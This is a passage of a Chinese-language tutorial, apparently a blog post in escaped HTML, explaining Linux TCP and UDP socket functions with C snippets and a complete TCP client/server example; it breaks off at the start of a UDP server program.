  &lt;li&gt;AF_INET6: IPv6协议&lt;/li&gt;
  &lt;li&gt;AF_ROUTE: 路由套接口&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;type参数指明产生套接字的类型，它常用的值包括:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SOCK_STREAM: 字节流套接口，TCP使用的是这种格式&lt;/li&gt;
  &lt;li&gt;SOCK_DGRAM: 数据报套接口，UDP使用的是这种形式&lt;/li&gt;
  &lt;li&gt;SOCK_RAW: 原始套接口&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;并不是所有的family和type的组合都有效，下表中Yes表示组合有效，No表示组合无效:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-6f936c6c25751d52.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;sock函数中协议族和套接字类型的组合&quot; /&gt;&lt;/p&gt;

&lt;p&gt;调用sock函数的代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
......
int sockfd;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
    //handle exception
    ......
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;connect函数&quot;&gt;connect函数&lt;/h3&gt;

&lt;p&gt;connect函数用于激发TCP的三次握手过程。建立与远程服务器的连接&lt;/p&gt;

&lt;p&gt;TCP&lt;strong&gt;客户端&lt;/strong&gt;使用connect函数来配置套接字，建立一个TCP服务器的连接&lt;/p&gt;

&lt;p&gt;connect函数如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;sockfd参数是由socket函数返回的套接字描述符&lt;/p&gt;

&lt;p&gt;addr参数是指向服务器的套接字地址结构的指针，如果是IPv4地址，server指向的就是一个sockaddr_in地址结构，在进行connect函数调用时，&lt;strong&gt;必须将sockaddr_in结构转换成通用地址结构sockaddr&lt;/strong&gt;。最后一个参数addrlen是该套接字地址结构的大小。&lt;/p&gt;

&lt;p&gt;调用成功返回0，出错则返回-1&lt;/p&gt;

&lt;p&gt;如果描述符是TCP套接字，调用函数connect就是建立一个TCP的连接，只在连接建立成功或者出错时该函数才返回，返回的错误有如下几种情况：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;如果客户没有收到SYN分节的响应，返回ETIMEDOUT，这可能需要重发若干次SYN&lt;/li&gt;
  &lt;li&gt;如果对客户的SYN的响应是RST，则表明该服务器主机在指定的端口上没有进程在等待与之相连。客户端马上返回错误ECONNREFUSED&lt;/li&gt;
  &lt;li&gt;如果客户发出的SYN在中间路由器上引发一个目的地不可达ICMP错误，客户端内核保存此消息，并按第一种情况，连续重传SYN，直到规定时间的超时时间，对方仍没有响应，则返回保存的消息(即ICMP错误)EHOSTUNREACH或ENETUNREACH错误返回给进程&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对于TCP连接的状态，connect导致客户端从CLOSED状态转到了SYN_SENT状态。&lt;/p&gt;

&lt;p&gt;若建立连接成功，也就是connect调用成功，状态会再变到ESTABLISHED状态。若函数connect调用失败，则套接字不能再使用，必须关闭。如果想继续向服务器发起建立连接的请求，就需要重新调用socket函数，生成新的套接字&lt;/p&gt;

&lt;p&gt;调用connect函数的代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
......
int socked;
struct sockaddr_in server;
......
bzero(&amp;amp;server, sizeof(server));//为套接字地址结构server设置初始值0
server.sin_family = AF_INET; //为套接字地址结构中的成员赋值
server.sin_port = htons(1234); //为套接字地址结构中的成员赋值，端口号为1234
server.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;); //为套接字地址结构中的成员赋值，127.0.0.1是客户端要建立连接的服务器的IP地址
if(connect(sockfd, (struct sockaddr *)&amp;amp;server, sizeof(server) == -1) //调用connect函数，与服务器建立连接，connect函数第二个参数为将IPv4的套接字地址结构强制转换为通用地址结构
{
    //handle exception //如果调用connect函数失败，连接失败的异常处理
    ......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;bind函数&quot;&gt;bind函数&lt;/h3&gt;

&lt;p&gt;绑定函数bind的作用就是为调用socket函数产生的套接字分配一个本地协议地址，建立地址与套接字的对应关系&lt;/p&gt;

&lt;p&gt;对于网际协议，协议地址包括32位的IPv4地址或128位的IPv6地址和16位的UDP或TCP的端口号&lt;/p&gt;

&lt;p&gt;对于绑定操作，地址信息必须是唯一的，在实际应用中，通过绑定的端口号来保证地址的唯一性&lt;/p&gt;

&lt;p&gt;bind函数如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
int bind(int socked. const struct sockaddr *server, socklen_len addrlen);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;参数sockfd是套接字函数返回的套接字描述符&lt;/p&gt;

&lt;p&gt;参数server是指向特定于协议的地址结构的指针，指定用于通信的本地协议地址&lt;/p&gt;

&lt;p&gt;参数addrlen指定了该套接字地址结构的长度&lt;/p&gt;

&lt;p&gt;如果调用成功返回0，调出错返回-1，并置错误号errno&lt;/p&gt;

&lt;p&gt;对于绑定的套接字地址结构，可以指定端口号或IP地址中的任意一个，可以两个都指定，也可以一个也不指定。如果不绑定任何端口，当调用connect或listen时，内核会为套接字选择一个临时的端口。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;进程如果绑定了一个特定的本地IP地址到它的套接字上，对于TCP客户端，这就为在此套接字上发送的IP数据报分配了源IP地址。对于TCP服务器端，这就限制了该套接字只接收目的地址为此IP地址的客户连接&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-7c4f94c531c21bb2.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;函数绑定的IP地址、端口号&quot; /&gt;&lt;/p&gt;

&lt;p&gt;bind函数的代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
......
int sockfd;
int port = 1234;//bind的端口号为1234
struct sockaddr_in server;
......
bzero(&amp;amp;server, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = htonl(INADDR_ANY);//IP地址是一个通配地址，由内核选择IP地址。关于INADDR_ANY见上图
if(bind(sockfd, (struct sockaddr *)&amp;amp;server, sizeof(server) == -1))
{
    //handle exception
    ......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;listen函数&quot;&gt;listen函数&lt;/h3&gt;
&lt;p&gt;当调用函数socket创建一个套接字时，默认情况下它是一个主动套接字，也就是一个将调用connect函数发起连接的客户端套接字。所以对于TCP服务器，在绑定操作后，必须要调用listen函数，&lt;strong&gt;将这个未连接的套接字转换成被动套接字，监听有无客户要连接，进入被动接受连接请求状态&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;在调用listen函数后，服务器的状态从CLOSED转换到了LISTEN状态&lt;/p&gt;

&lt;p&gt;listen函数如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
int listen(int sockfd, int backlog);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;参数sockfd是要设置的描述符&lt;/p&gt;

&lt;p&gt;参数backlog规定了请求队列中的最大连接个数，它对队列中等待服务请求的数目进行了限制，如果一个服务请求到来时，输入队列已满，该套接字将拒绝连接请求。&lt;/p&gt;

&lt;p&gt;函数调用成功返回0，出错返回-1，并置errno值&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-fc18150f6468c509.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;TCP三次握手中两个队列的位置&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-f984846a973bafb1.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;文字补充&quot; /&gt;&lt;/p&gt;

&lt;p&gt;listen函数代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
......
int sockfd;
int BACKLOG = 5; //设置监听的最大连接数为5
......
if(listen(sockfd, BACKLOG) == -1) //调用listen函数，将sockfd描述符设置为监听描述符
{
    //handle exception //当listen函数调用失败时的异常处理
    ......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;accept函数&quot;&gt;accept函数&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;accept函数使服务器接受客户端的连接请求&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;它将完成队列中的队头条目返回给进程，并产生一个新的套接字描述符——&lt;code class=&quot;highlighter-rouge&quot;&gt;已连接套接字&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;当已完成队列为空，则进程睡眠，直到有已完成连接到达时。&lt;/p&gt;

&lt;p&gt;accept函数如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
int accept(int listenfd, struct sockaddr *client, socklen_t *addrlen);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;listenfd函数是由socket函数产生的套接字描述符，&lt;strong&gt;在调用accept函数前，已经调用listen函数将此套接字变成了监听套接字&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;client和addrlen参数用来返回连接对方的套接字地址结构和对应的结构长度&lt;/p&gt;

&lt;p&gt;addrlen参数是一个值—结果参数，调用前，将addrlen指针所指的值置为client所指的套接字地址结构的长度。函数返回时，此整数值变为内核写入此套接字地址结构的准确字节数。&lt;/p&gt;

&lt;p&gt;函数调用成功时，可以得到三个值:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;一个是accept函数的返回值，&lt;code class=&quot;highlighter-rouge&quot;&gt;已连接套接字描述符&lt;/code&gt;。已连接套接字描述符是内核为每个被接受的客户都分别创建一个。用完则关闭。&lt;code class=&quot;highlighter-rouge&quot;&gt;监听描述符负责接收客户的连接请求，而已连接描述符负责与对应的客户进行数据传输&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;由client参数返回客户端的协议地址，包括IP地址和端口号等&lt;/li&gt;
  &lt;li&gt;由addrlen参数返回客户端地址结构的大小&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果对客户的协议地址和地址结构的长度不感兴趣，可以将client和addrlen两个参数都设为空指针。&lt;/p&gt;

&lt;p&gt;如果函数调用失败，accept函数将返回-1，并置errno值。调用accept函数的代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/socket.h&amp;gt;
......
int listenfd, connfd; 
//定义了两个套接字描述符，一个是监听套接字描述符，一个是已连接套接字描述符

struct sockaddr_in client;
socklen_t addrlen;
addrlen = sizeof(client); //得到client当前的长度
......
connfd = accept(listenfd, (struct sockaddr *)&amp;amp;client, &amp;amp;addrlen);
//调用accept函数，接收连接请求，返回已连接套接字描述符
//与服务器连接的客户端的协议地址可以通过参数client得到，addrlen返回内核写入client结构体中的准确字节数
if(connfd == -1){
    //handle exception
    ......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;数据传输函数&quot;&gt;数据传输函数&lt;/h2&gt;
&lt;blockquote&gt;
  &lt;p&gt;服务端和客户端连接建立成功后，就可以进行双向的数据传输。服务端和客户端使用各自的套接字描述符进行读写操作&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;write函数&quot;&gt;write函数&lt;/h3&gt;
&lt;p&gt;write()函数用于数据的发送，如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
int write(int sockfd, char *buf, int len);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;参数sockfd是套接字描述符。对于服务器是accept()函数返回的已连接套接字描述符。对于客户端是调用socket()函数返回的套接字描述符。参数buf是指向一个用于发送信息的数据缓冲区。len指明传送数据缓冲区的大小。&lt;/p&gt;

&lt;p&gt;函数滴啊用成功返回大于0的整数，也就是发送的字节数。出错则返回-1。&lt;/p&gt;

&lt;h3 id=&quot;read函数&quot;&gt;read函数&lt;/h3&gt;
&lt;p&gt;用于数据的接收&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
int read(int sockfd, char *buf, int len);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;参数sockfd是套接字描述符。对于服务器是accept()函数返回的已连接套接字描述符。对于客户端是调用socket()函数返回的套接字描述符。参数buf是指向一个用于接收信息的数据缓冲区。len指明传送数据缓冲区的大小。&lt;/p&gt;

&lt;p&gt;函数滴啊用成功返回大于0的整数，也就是接收的字节数。出错则返回-1。&lt;/p&gt;

&lt;p&gt;调用read()函数的代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#define MAXDATASIZE 100 //定义接收信息的数据缓冲区的长度
......
int num, connfd;
char buf[MAXDATASIZE];
......
if( (num = read(connfd, buf, MAXDATASIZE)) &amp;gt; 0){ //接收数据，整数num返回接收的字节数
    //handle data //处理收到的数据
    ......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;send函数&quot;&gt;send函数&lt;/h3&gt;
&lt;p&gt;用于数据的发送操作&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
ssize_t send(int sockfd, const void *buf, size_t len, int flags);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;前三个参数与write相同，参数flags是传输控制标志，其值定义如下图:
&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fwvxnalfc3j30js04zq7l.jpg&quot; alt=&quot;send函数的参数flags&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;recv函数&quot;&gt;recv函数&lt;/h3&gt;
&lt;p&gt;用于数据的发送操作&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fwvxofm543j30k207n453.jpg&quot; alt=&quot;recv函数的参数flags&quot; /&gt;&lt;/p&gt;

&lt;p&gt;调用recv函数的代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#define MAXDATASIZE 100
......
int num, connfd;
char buf[MAXDATASIZE];
......

if( (num = recv(connfd, buf, MAXDATASIZE)) &amp;gt; 0){ //接收数据，整数num返回接收的字节数
    //handle data //处理收到的数据
    ......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;tcp套接字编程实例&quot;&gt;TCP套接字编程实例&lt;/h2&gt;
&lt;p&gt;程序实现的功能是:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;客户根据用户提供的IP地址，连接到相应的服务器&lt;/li&gt;
  &lt;li&gt;服务器等待客户的连接，一旦连接成功，则显示客户的IP地址、端口号，并向客户发送字符串&lt;/li&gt;
  &lt;li&gt;客户接受服务器发送的信息并显示&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;tcp服务器端程序如下serverc&quot;&gt;TCP服务器端程序如下(server.c):&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;strings.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt; //通用套接字地址结构
#include &amp;lt;netinet/in.h&amp;gt; //IPv4套接字地址结构
#include &amp;lt;arpa/inet.h&amp;gt; //IP地址转换函数
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define PORT 1234 //客户端与服务器的端口要对应
#define BACKLOG 1//listen函数中的参数，此参数规定了请求队列中的最大连接个数，由于本例不是并发服务器，所以最大允许连接的数量BACKLOG定义为1

main()
{
	int listenfd, connectfd/*已连接套接字描述符*/;
	struct sockaddr_in server;//套接字地址结构
	struct sockaddr_in client;
	socklen_t addrlen; 

	/*Create TCP socket*/
	if ((listenfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) 
	//创建TCP套接字,socket()函数第二个参数为字节流接口。如果出错打印错误信息。
	{
		perror(&quot;socket() error.&quot;);
		exit(-1);
	}

	int opt = SO_REUSEADDR;
	setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;opt, sizeof(opt));
	//以上两行设置套接字选项SO_REUSEADDR，即地址重用选项。
	//由于系统默认是只允许一个套接字绑定一个特定的协议地址上，并且当该套接字关闭后，系统仍不允许在该地址上绑定其他套接字。
	//如果去掉这两行，程序运行时产生的错误信息为:&quot;Bind() error:Address already in use&quot;

	bzero(&amp;amp;server, sizeof(server));//初始化server套接字地址结构，初始值为0
	server.sin_family = AF_INET;//为套接字地址结构中的成员赋值
	server.sin_port = htons(PORT);
	server.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(listenfd, (struct sockaddr *)&amp;amp;server, sizeof(server)) == -1)
	//调用bind()函数将套接字描述符与server套接字地址结构中的协议地址绑定
	{
		perror(&quot;bind() eror&quot;);
		exit(1);
	}

	if (listen(listenfd, BACKLOG) == -1) //listen()函数将listenfd描述符设置为监听套接字，等待客户连接
	{
		perror(&quot;listen() error.\n&quot;);
		exit(1);
	}

	addrlen = sizeof(client);//得到client当前的长度
	if ((connectfd = accept(listenfd, (struct sockaddr *)&amp;amp;client, &amp;amp;addrlen)) == -1)
	//接受客户端连接，将客户的地址信息存放在client地址结构中，&amp;amp;addrlen为内核写入client结构体中的准确字节数
	{
		perror(&quot;accept() error\n&quot;);
		exit(1);
	}
	printf(&quot;You got a connection from client's ip is %s, port is %d\n&quot;, inet_ntoa(client.sin_addr), htons(client.sin_port));
	//显示客户的IP地址和端口号，通过inet_ntoa()函数将IP地址转换成可显示的ASCII串，通过htons()函数将端口号转换成网络字节序
	send(connectfd, &quot;Welcome\n&quot;,8,0);//发送Welcome字符串给客户端
	close(connectfd);//先关闭已连接套接字，再关闭监听套接字
	close(listenfd);
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;tcp客户端程序如下clientc&quot;&gt;TCP客户端程序如下(client.c):&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;strings.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;netdb.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define PORT 1234 //服务器的端口与客户端的端口对等
#define MAXDATASIZE 100 //这里的缓冲区采用静态方式分配

int main(int argc, char *argv[])
{
	int sockfd, num;
	char buf[MAXDATASIZE];
	struct hostent *he;
	struct sockaddr_in server;
	if (argc != 2) //检查用户的输入。如果用户输入不正确，提示用户正确的输入方式
	{
		printf(&quot;Usage:%s &amp;lt;IP Address&amp;gt;\n&quot;, argv[0]);
		exit(1);
	}

	//通过用户输入的点分十进制形式的IP地址，获得服务器的相关地址信息
	if ((he = gethostbyname(argv[1])) == NULL)
	{
		printf(&quot;gethostbyname() error\n&quot;);
		exit(1);
	}

	//调用socket()函数产生套接字描述符
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		printf(&quot;socket() error\n&quot;);
		exit(1);
	}

	//初始化服务器的地址结构，并为地址结构的成员赋值
	bzero(&amp;amp;server, sizeof(server));
	server.sin_family = AF_INET;
	server.sin_port = htons(PORT);
	server.sin_addr = *((struct in_addr *)he-&amp;gt;h_addr);

	//调用connect()函数连接到服务器server
	if (connect(sockfd, (struct sockaddr *)&amp;amp;server, sizeof(server)) == -1)
	{
		printf(&quot;connect() error\n&quot;);
		exit(1);
	}

	//接受服务器发过来的字符串，并保存在buf中。接收的真正字节数被存储在num中
	if ((num = recv(sockfd, buf, MAXDATASIZE,0)) == -1)
	{
		printf(&quot;recv() error\n&quot;);
		exit(1);
	}
	buf[num-1] = '\0'; //以\0标志字符串的结束
	printf(&quot;server message: %s\n&quot;, buf);//显示从服务器接收到的buf中的信息
	close(sockfd); //关闭套接字
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;代码运行截图&quot;&gt;代码运行截图:&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fww1gynahej30k20ccjtf.jpg&quot; alt=&quot;运行截图&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;第四章-基本udp套接字编程&quot;&gt;第四章 基本UDP套接字编程&lt;/h1&gt;
&lt;h2 id=&quot;udp套接字编程&quot;&gt;UDP套接字编程&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fww1mjxv7rj30ix0ecakv.jpg&quot; alt=&quot;UDP客户/服务器的套接字函数&quot; /&gt;&lt;/p&gt;

&lt;p&gt;UDP套接字编程中，服务器端实现的步骤:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;使用socket()函数创建套接字&lt;/li&gt;
  &lt;li&gt;为创建的套接字绑定到指定的地址结构&lt;/li&gt;
  &lt;li&gt;等待接受客户端的数据请求&lt;/li&gt;
  &lt;li&gt;处理客户端的请求&lt;/li&gt;
  &lt;li&gt;向客户端发送应答数据&lt;/li&gt;
  &lt;li&gt;关闭套接字&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;客户端实现的步骤:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;使用socket()函数创建套接字&lt;/li&gt;
  &lt;li&gt;发送数据请求给服务器&lt;/li&gt;
  &lt;li&gt;等待接收服务器的数据应答&lt;/li&gt;
  &lt;li&gt;关闭套接字&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;recvfrom函数&quot;&gt;recvfrom函数&lt;/h3&gt;
&lt;p&gt;此函数用于接收数据，函数中药指明源地址&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *from, size_t *addrlen);
//前三个参数分别为:调用socket函数生成的描述符、指向读入缓冲区的指针、读入的字节数
//flags参数是传输控制标志，其值通常为0，代表所做的操作与read相同，还有MSG_OOB, MSG_PEEK
//from返回与之通信的对方的套接字地址结构，告诉用户接收到的数据报来自于谁
//addrlen是一个指向整数值的指针(值-结果参数)，存储数据发送者的套接字地址结构的字节数
//如果from或addrlen两者之一要为空，必须同时设为空
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;函数调用成功的返回值为接收到数据的长度(以字节为单位)，也就是接收的数据报中用户数据的总量。调用失败返回-1，并置errno&lt;/p&gt;

&lt;p&gt;调用recvfrom函数代码如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#define MAXDATASIZE 100
......
int num, sockfd;
socklen_t addrlen;
sockaddr_in peer_addr;
char buf[MAXDATASIZE];
......
addrlen = sizeof(peer_addr);
while(1)
{
	num = recvfrom(sockfd, buf, MAXDATASIZE, 0, (struct sockaddr *)&amp;amp;peer_addr, &amp;amp;addrlen);
	//用recvfrom函数接收数据，将接收到的数据保存在buf中，整数num返回接收的字节
	//地址结构peer_addr返回发送数据方的协议地址，addrlen返回存储在peer_addr中的字节数
	if (num &amp;lt; 0)
	{
		/*handle exception*/
	}
	/*handle data*/
	......
}
......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;sendto函数&quot;&gt;sendto函数&lt;/h3&gt;
&lt;p&gt;此函数用于发送数据，要指明目的地址&lt;/p&gt;

&lt;p&gt;sendto函数如下:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *to, int addrlen);
//前三个参数分别为:调用socket函数生成的描述符、指向发送缓冲区的指针、发送的字节数
//flags参数是传输控制标志，其值通常为0，代表所做的操作与write相同，还有MSG_DONTROUTE，MSG_OOB
//函数sendto的参数to的类型是套接字地址结构，指明数据将发往的协议地址，它的大小由addrlen参数决定
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;该函数调用成功的返回值为发送数据的长度(以字节为单位)。如果调用失败则返回-1，并置相应的errno值&lt;/p&gt;

&lt;h2 id=&quot;udp套接字编程实例&quot;&gt;UDP套接字编程实例&lt;/h2&gt;
&lt;p&gt;程序实现的功能是:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;客户根据用户提供的IP地址，将用户从终端输入的信息发送给服务器，然后等待服务器的回应&lt;/li&gt;
  &lt;li&gt;服务器接收客户端发送的信息，并显示，同时显示客户的IP地址、端口号，并向客户端发送信息。如果服务器接收的客户信息为“bye”，则退出循环，并关闭套接字。&lt;/li&gt;
  &lt;li&gt;客户接收、显示服务器发回的信息，并关闭套接字&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;ucp服务器端程序如下udp_serverc&quot;&gt;UCP服务器端程序如下(UDP_server.c):&lt;/h3&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
